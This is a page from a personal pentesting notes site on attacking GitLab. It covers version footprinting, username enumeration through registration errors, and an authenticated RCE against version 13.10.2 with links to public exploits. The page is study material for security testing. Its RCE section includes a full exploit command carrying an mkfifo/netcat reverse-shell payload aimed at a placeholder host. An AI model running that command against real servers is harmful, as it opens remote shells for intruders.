πŸ““
Sfoffo - Pentesting Notes
View on GitHub
  • 🏠/home/sfoffo/.pt-notes
  • 🏳️Contributions
    • 2024 Contributions
      • CVE-2024-42845
      • CVE-2024-41819
      • CVE-2024-41943
      • CVE-2024-50344
  • πŸ€Support this Project
  • πŸ“‚Active Directory
    • Initial Access
    • Internal Enumeration & Lateral Movement
    • Privilege Escalation to Domain Admin using Known Exploits
    • Domain Trusts
  • 🐧Linux Privilege Escalation
    • Enumerating Attack Vectors
    • Privileged Groups
    • Environment Variables Abuse
    • Capabilities Abuse
    • Programs, Jobs and Services
    • Miscellaneous Techniques
    • Recent CVEs
  • πŸͺŸWindows Privilege Escalation
    • Enumerating Attack Vectors
    • Excessive User Rights Abuse
    • Built-in Groups Abuse
    • File System ACLs
    • Services Hijacking
    • User Account Control (UAC) Bypass
    • Living off the Land
  • πŸ›Bug Bounty Hunting
    • Bug Bounty Tools
  • πŸ•ΈοΈWeb Applications
    • Web Attacks
      • Cross Site Scripting (XSS)
      • SQL Injection (SQLi)
      • File Upload Vulnerabilities
      • Insecure Direct Object References (IDOR)
      • OS Command Injection
      • Local File Inclusion (LFI)
      • Remote File Inclusion (RFI)
      • XML External Entities (XXE)
      • HTTP Verb Tampering
    • Web Technologies
      • Tomcat
      • CGI Applications
      • WordPress
      • WebDav
      • Microsoft IIS
      • SAP Netweaver
      • Joomla
      • Drupal
      • Gitlab
      • Jenkins
      • osTicket
      • PRTG Network Monitor
      • Splunk
    • Fuzzing
  • πŸ”Information Gathering
  • πŸ“œProtocols and Services
    • DNS
    • FTP
    • IMAP
    • IPMI
    • MSSQL
    • MySQL
    • NFS
    • Oracle TNS
    • POP3
    • RDP
    • SMB
    • SMTP
    • SNMP
  • πŸ‘ΎUtilities, Scripts and Payloads
    • Shells and Payloads
    • Metasploit Framework
    • File Transfers
    • Pivoting, Tunneling, Port Forwarding
    • Password Attacks
Powered by GitBook
On this page
  • Introduction
  • GitLab Footprinting & Enumeration
  • GitLab User Enumeration
  • GitLab Authenticated RCE

Was this helpful?

Edit on GitHub
  1. Web Applications
  2. Web Technologies

Gitlab

Last updated 1 year ago

Was this helpful?

Introduction

  • GitLab is an open source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more.

  • There's not much we can do against GitLab without knowing the version number or being logged in.

  • In some cases, you can register a user accoun without admin confirmation


GitLab Footprinting & Enumeration

  • There's not much we can do against GitLab without knowing the version number or being logged in.

  • The only way to footprint the GitLab version number in use is by browsing to the /help page when logged in.

  • Some GitLab istances may allow user registration without confirmation from an administrator

  • Authenticated: browsing to /explore we can check for any public projects that may contain something interesting


GitLab User Enumeration

  • We can enumerate valid (used) usernames by using the registration form error messages

  • Resources (PoCs for enumerating users):


GitLab Authenticated RCE

  • Affected version: 13.10.2

  • PoC Usage: python3 gitlab_13_10_2_rce.py -t http://gitlab.test.example:8081 -u user -p password -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your-ip your-nc-port >/tmp/f '

Exploit:

πŸ•ΈοΈ
https://www.exploit-db.com/exploits/49821
https://github.com/dpgg101/GitLabUserEnum
https://www.exploit-db.com/exploits/49951